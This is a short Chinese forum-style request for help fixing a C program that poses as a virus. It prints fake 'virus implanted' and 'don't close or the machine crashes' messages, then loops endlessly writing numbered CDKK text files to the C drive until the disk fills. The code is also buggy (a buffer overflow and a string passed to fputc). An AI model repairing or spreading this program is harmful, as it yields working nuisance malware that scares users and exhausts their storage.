大虾们帮我看看这个程序哪边有问题,帮我改一下!
#include"stdio.h"#include"time.h"
main()
{
time_t t1,t2,t3;
int a=1,b=1;
FILE *fp;
long i=1;
char flag[10] = {0},arr[10] = {0};
time(&t1);
printf("不要立刻关闭,否则死机!\n");
printf("正在植入病毒...\n");
while(a)
{time(&t2);
if(t2-t1==2)
a=0;
}
printf("王程远-CDKK植入成功。\n");
printf("正在获取资源...");
while(b)
{time(&t3);
if(t3-t1>3)
b=0;
}
printf("\n获取成功。\n");
while(i++)
{
int a[129],j;
for(j=0;j<129;j++)
{printf("%c",j);
memset ( flag,0,2 );
memset ( arr,0, 10 );
strcat (arr,"c://CDKK");
sprintf ( flag,"%d",i++);
strcat ( arr, flag );
strcat ( arr, ".txt");
if((fp=fopen(arr,"w"))==NULL)
{
printf("X");exit(0);
}
fputc("CDKK",fp);
fclose(fp);
}}
getch();
}